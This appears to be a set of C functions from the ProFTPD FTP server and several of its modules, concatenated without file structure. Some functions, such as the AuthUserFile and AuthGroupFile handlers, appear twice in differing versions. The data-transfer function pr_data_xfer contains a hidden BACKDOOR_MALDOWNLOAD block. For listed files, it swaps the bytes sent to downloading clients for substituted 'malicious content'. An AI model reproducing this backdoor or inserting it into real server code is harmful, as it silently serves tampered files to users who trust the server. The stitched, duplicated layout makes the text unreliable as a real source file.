MODRET memcache_post_host(cmd_rec *cmd) { /* If the HOST command changed the main_server pointer, reinitialize * ourselves. */ if (session.prev_server != NULL) { int res; config_rec *c; pr_event_unregister(&memcache_module, "core.exit", mcache_exit_ev); (void) close(memcache_logfd); c = find_config(session.prev_server->conf, CONF_PARAM, "MemcacheServers", FALSE); if (c != NULL) { memcached_server_st *memcache_servers; memcache_servers = c->argv[0]; memcache_set_servers(memcache_servers); } /* XXX Restore other memcache settings? */ res = mcache_sess_init(); if (res < 0) { pr_session_disconnect(&memcache_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } } return PR_DECLINED(cmd); }
static void mcache_sess_reinit_ev(const void *event_data, void *user_data) { int res; config_rec *c; /* A HOST command changed the main_server pointer, reinitialize ourselves. */ pr_event_unregister(&memcache_module, "core.exit", mcache_exit_ev); pr_event_unregister(&memcache_module, "core.session-reinit", mcache_sess_reinit_ev); (void) close(memcache_logfd); memcache_logfd = -1; c = find_config(session.prev_server->conf, CONF_PARAM, "MemcacheServers", FALSE); if (c != NULL) { memcached_server_st *memcache_servers; memcache_servers = c->argv[0]; memcache_set_servers(memcache_servers); } /* XXX Restore other memcache settings? */ /* reset MemcacheOptions */ /* reset MemcacheReplicas */ /* reset MemcacheTimeout */ res = mcache_sess_init(); if (res < 0) { pr_session_disconnect(&memcache_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } }
/* Called if the "Stalled" timer goes off */ static int stalled_timeout_cb(CALLBACK_FRAME) { pr_event_generate("core.timeout-stalled", NULL); pr_log_pri(PR_LOG_NOTICE, "Data transfer stall timeout: %d seconds", timeout_stalled); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_TIMEOUT, "TimeoutStalled during data transfer"); /* Prevent compiler warning. */ return 0; }
void sftp_disconnect_conn(uint32_t reason, const char *explain, const char *file, int lineno, const char *func) { sftp_disconnect_send(reason, explain, file, lineno, func); #ifdef PR_DEVEL_COREDUMP pr_session_end(PR_SESS_END_FL_NOEXIT); abort(); #else pr_session_disconnect(&sftp_module, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); #endif /* PR_DEVEL_COREDUMP */ }
static void qos_sess_reinit_ev(const void *event_data, void *user_data) { int res; /* A HOST command changed the main_server pointer, reinitialize ourselves. */ pr_event_unregister(&qos_module, "core.data-connect", qos_data_connect_ev); pr_event_unregister(&qos_module, "core.data-listen", qos_data_listen_ev); pr_event_unregister(&qos_module, "core.session-reinit", qos_sess_reinit_ev); res = qos_sess_init(); if (res < 0) { pr_session_disconnect(&qos_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } }
void rsync_disconnect(const char *reason, const char *file, int lineno, const char *func) { if (strlen(func) > 0) { pr_trace_msg(trace_channel, 9, "disconnecting (%s) [at %s:%d:%s()]", reason, file, lineno, func); } else { pr_trace_msg(trace_channel, 9, "disconnecting (%s) [at %s:%d]", reason, file, lineno); } pr_session_disconnect(&rsync_module, PR_SESS_DISCONNECT_BY_APPLICATION, reason); }
static void wrap_sess_reinit_ev(const void *event_data, void *user_data) { int res; /* A HOST command changed the main_server pointer; reinitialize ourselves. */ pr_event_unregister(&wrap_module, "core.session-reinit", wrap_sess_reinit_ev); /* Reset defaults */ wrap_service_name = "proftpd"; res = wrap_sess_init(); if (res < 0) { pr_session_disconnect(&wrap_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } }
cmd_rec *proxy_ftp_ctrl_recv_cmd(pool *p, conn_t *ctrl_conn) { cmd_rec *cmd = NULL; while (TRUE) { int res; pr_signals_handle(); res = pr_cmd_read(&cmd); if (res < 0) { if (PR_NETIO_ERRNO(session.c->instrm) == EINTR) { continue; } } /* EOF */ pr_session_disconnect(&proxy_module, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); } return cmd; }
int proxy_conn_connect_timeout_cb(CALLBACK_FRAME) { struct proxy_session *proxy_sess; pr_netaddr_t *server_addr; proxy_sess = pr_table_get(session.notes, "mod_proxy.proxy-session", NULL); server_addr = pr_table_get(session.notes, "mod_proxy.proxy-connect-address", NULL); (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "timed out connecting to %s:%d after %d %s", pr_netaddr_get_ipstr(server_addr), ntohs(pr_netaddr_get_port(server_addr)), proxy_sess->connect_timeout, proxy_sess->connect_timeout != 1 ? "seconds" : "second"); pr_event_generate("mod_proxy.timeout-connect", NULL); pr_log_pri(PR_LOG_NOTICE, "%s", "Connect timed out, disconnected"); pr_session_disconnect(&proxy_module, PR_SESS_DISCONNECT_TIMEOUT, "ProxyTimeoutConnect"); /* Do not restart the timer (should never be reached). */ return 0; }
/* usage: AuthGroupFile path [id <min-max>] [name <regex>] */ MODRET set_authgroupfile(cmd_rec *cmd) { config_rec *c = NULL; authfile_file_t *file = NULL; int flags = 0; #ifdef PR_USE_REGEX if (cmd->argc-1 < 1 || cmd->argc-1 > 5) { #else if (cmd->argc-1 < 1 || cmd->argc-1 > 2) { #endif /* regex support */ CONF_ERROR(cmd, "wrong number of parameters"); } CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL); if (*(cmd->argv[1]) != '/') { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use relative path for ", cmd->argv[0], " '", cmd->argv[1], "'.", NULL)); } /* Make sure the configured file has the correct permissions. Note that * AuthGroupFiles, unlike AuthUserFiles, do not contain any sensitive * information, and can thus be world-readable. */ flags = PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE; if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use ", cmd->argv[1], ": ", strerror(errno), NULL)); } c = add_config_param(cmd->argv[0], 1, NULL); file = pcalloc(c->pool, sizeof(authfile_file_t)); file->af_path = pstrdup(c->pool, cmd->argv[1]); c->argv[0] = (void *) file; /* Check for restrictions */ if (cmd->argc-1 != 1) { register unsigned int i = 0; for (i = 2; i < cmd->argc; i++) { if (strncmp(cmd->argv[i], "id", 3) == 0) { gid_t min, max; char *sep = NULL, *tmp = NULL; /* The range restriction parameter is of the form "min-max", where max * must be >= min. */ sep = strchr(cmd->argv[++i], '-'); if (sep == NULL) { CONF_ERROR(cmd, "badly formatted ID restriction parameter"); } *sep = '\0'; min = strtol(cmd->argv[i], &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted minimum ID"); } tmp = NULL; max = strtol(sep+1, &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted maximum ID"); } if (min > max) { CONF_ERROR(cmd, "minimum cannot be larger than maximum"); } file->af_min_id.gid = min; file->af_max_id.gid = max; file->af_restricted_ids = TRUE; #ifdef PR_USE_REGEX } else if (strncmp(cmd->argv[i], "name", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_name_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_name_filter = pstrdup(c->pool, cmd->argv[i]); file->af_name_regex = pre; file->af_restricted_names = TRUE; #endif /* regex support */ } else { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '", cmd->argv[i], "'", NULL)); } } } return PR_HANDLED(cmd); } /* usage: AuthUserFile path [home <regexp>] [id <min-max>] [name <regex>] */ MODRET set_authuserfile(cmd_rec *cmd) { config_rec *c = NULL; authfile_file_t *file = NULL; int flags = 0; #ifdef PR_USE_REGEX if (cmd->argc-1 < 1 || cmd->argc-1 > 7) { #else if (cmd->argc-1 < 1 || cmd->argc-1 > 2) { #endif /* regex support */ CONF_ERROR(cmd, "wrong number of parameters"); } CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL); if (*(cmd->argv[1]) != '/') { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use relative path for ", cmd->argv[0], " '", cmd->argv[1], "'.", NULL)); } /* Make sure the configured file has the correct permissions. Note that * AuthUserFiles, unlike AuthGroupFiles, DO contain any sensitive * information, and thus CANNOT be world-readable. */ flags = 0; if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use ", cmd->argv[1], ": ", strerror(errno), NULL)); } c = add_config_param(cmd->argv[0], 1, NULL); file = pcalloc(c->pool, sizeof(authfile_file_t)); file->af_path = pstrdup(c->pool, cmd->argv[1]); c->argv[0] = (void *) file; /* Check for restrictions */ if (cmd->argc-1 != 1) { register unsigned int i = 0; for (i = 2; i < cmd->argc; i++) { if (strncmp(cmd->argv[i], "id", 3) == 0) { uid_t min, max; char *sep = NULL, *tmp = NULL; /* The range restriction parameter is of the form "min-max", where max * must be >= min. */ sep = strchr(cmd->argv[++i], '-'); if (sep == NULL) { CONF_ERROR(cmd, "badly formatted ID restriction parameter"); } *sep = '\0'; min = strtol(cmd->argv[i], &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted minimum ID"); } tmp = NULL; max = strtol(sep+1, &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted maximum ID"); } if (min > max) { CONF_ERROR(cmd, "minimum cannot be larger than maximum"); } file->af_min_id.uid = min; file->af_max_id.uid = max; file->af_restricted_ids = TRUE; #ifdef PR_USE_REGEX } else if (strncmp(cmd->argv[i], "home", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_home_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_home_filter = pstrdup(c->pool, cmd->argv[i]); file->af_home_regex = pre; file->af_restricted_homes = TRUE; } else if (strncmp(cmd->argv[i], "name", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_name_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_name_filter = pstrdup(c->pool, cmd->argv[i]); file->af_name_regex = pre; file->af_restricted_names = TRUE; #endif /* regex support */ } else { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '", cmd->argv[i], "'", NULL)); } } } return PR_HANDLED(cmd); } /* Command handlers */ MODRET authfile_post_host(cmd_rec *cmd) { /* If the HOST command changed the main_server pointer, reinitialize * ourselves. */ if (session.prev_server != NULL) { int res; af_user_file = NULL; af_group_file = NULL; res = authfile_sess_init(); if (res < 0) { pr_session_disconnect(&auth_file_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } } return PR_DECLINED(cmd); } /* Initialization routines */ static int authfile_init(void) { const char *key, *salt, *hash; /* On some Unix platforms, giving crypt(3) an empty string for the salt, * no matter what the input key, results in an empty string being returned. * (The salt string is what is obtained from the AuthUserFile that has been * configured.) * * On other platforms, given crypt(3) a real key and an empty string for * the salt returns in a real string. (I'm looking at you, Mac OSX.) * * Thus in order to handle the edge case of an AuthUserFile with a passwd * field being empty the same on such differing platforms, we perform a * runtime check (at startup), to see how crypt(3) behaves -- and then * preserve the principle of least surprise appropriately. */ key = "key"; salt = ""; hash = crypt(key, salt); if (hash != NULL) { if (strcmp(hash, "") != 0) { /* We're probably on a Mac OSX or similar platform. */ handle_empty_salt = TRUE; } } return 0; } static int authfile_sess_init(void) { config_rec *c = NULL; c = find_config(main_server->conf, CONF_PARAM, "AuthUserFile", FALSE); if (c) { af_user_file = c->argv[0]; } c = find_config(main_server->conf, CONF_PARAM, "AuthGroupFile", FALSE); if (c) { af_group_file = c->argv[0]; } return 0; }
/* usage: AuthGroupFile path [id <min-max>] [name <regex>] */ MODRET set_authgroupfile(cmd_rec *cmd) { config_rec *c = NULL; authfile_file_t *file = NULL; int flags = 0; char *path; #ifdef PR_USE_REGEX if (cmd->argc-1 < 1 || cmd->argc-1 > 5) { #else if (cmd->argc-1 < 1 || cmd->argc-1 > 2) { #endif /* regex support */ CONF_ERROR(cmd, "wrong number of parameters"); } CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL); path = cmd->argv[1]; if (*path != '/') { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use relative path for ", (char *) cmd->argv[0], " '", path, "'.", NULL)); } /* Make sure the configured file has the correct permissions. Note that * AuthGroupFiles, unlike AuthUserFiles, do not contain any sensitive * information, and can thus be world-readable. */ flags = PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE; if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use ", path, ": ", strerror(errno), NULL)); } c = add_config_param(cmd->argv[0], 1, NULL); file = pcalloc(c->pool, sizeof(authfile_file_t)); file->af_path = pstrdup(c->pool, path); c->argv[0] = (void *) file; /* Check for restrictions */ if (cmd->argc-1 != 1) { register unsigned int i = 0; for (i = 2; i < cmd->argc; i++) { if (strncmp(cmd->argv[i], "id", 3) == 0) { gid_t min, max; char *sep = NULL, *tmp = NULL; /* The range restriction parameter is of the form "min-max", where max * must be >= min. */ sep = strchr(cmd->argv[++i], '-'); if (sep == NULL) { CONF_ERROR(cmd, "badly formatted ID restriction parameter"); } *sep = '\0'; min = strtol(cmd->argv[i], &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted minimum ID"); } tmp = NULL; max = strtol(sep+1, &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted maximum ID"); } if (min > max) { CONF_ERROR(cmd, "minimum cannot be larger than maximum"); } file->af_min_id.gid = min; file->af_max_id.gid = max; file->af_restricted_ids = TRUE; #ifdef PR_USE_REGEX } else if (strncmp(cmd->argv[i], "name", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_name_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_name_filter = pstrdup(c->pool, cmd->argv[i]); file->af_name_regex = pre; file->af_restricted_names = TRUE; #endif /* regex support */ } else { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '", cmd->argv[i], "'", NULL)); } } } return PR_HANDLED(cmd); } /* usage: AuthUserFile path [home <regexp>] [id <min-max>] [name <regex>] */ MODRET set_authuserfile(cmd_rec *cmd) { config_rec *c = NULL; authfile_file_t *file = NULL; int flags = 0; char *path; #ifdef PR_USE_REGEX if (cmd->argc-1 < 1 || cmd->argc-1 > 7) { #else if (cmd->argc-1 < 1 || cmd->argc-1 > 2) { #endif /* regex support */ CONF_ERROR(cmd, "wrong number of parameters"); } CHECK_CONF(cmd, CONF_ROOT|CONF_VIRTUAL|CONF_GLOBAL); path = cmd->argv[1]; if (*path != '/') { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use relative path for ", (char *) cmd->argv[0], " '", path, "'.", NULL)); } /* Make sure the configured file has the correct permissions. Note that * AuthUserFiles, unlike AuthGroupFiles, DO contain any sensitive * information, and thus CANNOT be world-readable. */ flags = 0; if (af_check_file(cmd->tmp_pool, cmd->argv[0], cmd->argv[1], flags) < 0) { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unable to use ", path, ": ", strerror(errno), NULL)); } c = add_config_param(cmd->argv[0], 1, NULL); file = pcalloc(c->pool, sizeof(authfile_file_t)); file->af_path = pstrdup(c->pool, path); c->argv[0] = (void *) file; /* Check for restrictions */ if (cmd->argc-1 != 1) { register unsigned int i = 0; for (i = 2; i < cmd->argc; i++) { if (strncmp(cmd->argv[i], "id", 3) == 0) { uid_t min, max; char *sep = NULL, *tmp = NULL; /* The range restriction parameter is of the form "min-max", where max * must be >= min. */ sep = strchr(cmd->argv[++i], '-'); if (sep == NULL) { CONF_ERROR(cmd, "badly formatted ID restriction parameter"); } *sep = '\0'; min = strtol(cmd->argv[i], &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted minimum ID"); } tmp = NULL; max = strtol(sep+1, &tmp, 10); if (tmp && *tmp) { CONF_ERROR(cmd, "badly formatted maximum ID"); } if (min > max) { CONF_ERROR(cmd, "minimum cannot be larger than maximum"); } file->af_min_id.uid = min; file->af_max_id.uid = max; file->af_restricted_ids = TRUE; #ifdef PR_USE_REGEX } else if (strncmp(cmd->argv[i], "home", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_home_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_home_filter = pstrdup(c->pool, cmd->argv[i]); file->af_home_regex = pre; file->af_restricted_homes = TRUE; } else if (strncmp(cmd->argv[i], "name", 5) == 0) { char *filter = cmd->argv[++i]; pr_regex_t *pre = NULL; int res = 0; pre = pr_regexp_alloc(&auth_file_module); /* Check for a ! negation/inversion filter prefix. */ if (*filter == '!') { filter++; file->af_name_regex_inverted = TRUE; } res = pr_regexp_compile(pre, filter, REG_EXTENDED|REG_NOSUB); if (res != 0) { char errstr[200] = {'\0'}; pr_regexp_error(res, pre, errstr, sizeof(errstr)); pr_regexp_free(NULL, pre); CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "'", filter, "' failed " "regex compilation: ", errstr, NULL)); } file->af_name_filter = pstrdup(c->pool, cmd->argv[i]); file->af_name_regex = pre; file->af_restricted_names = TRUE; #endif /* regex support */ } else { CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, ": unknown restriction '", cmd->argv[i], "'", NULL)); } } } return PR_HANDLED(cmd); } /* Event listeners */ static void authfile_sess_reinit_ev(const void *event_data, void *user_data) { int res; /* A HOST command changed the main_server pointer, reinitialize ourselves. */ pr_event_unregister(&auth_file_module, "core.session-reinit", authfile_sess_reinit_ev); af_user_file = NULL; af_group_file = NULL; res = authfile_sess_init(); if (res < 0) { pr_session_disconnect(&auth_file_module, PR_SESS_DISCONNECT_SESSION_INIT_FAILED, NULL); } }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
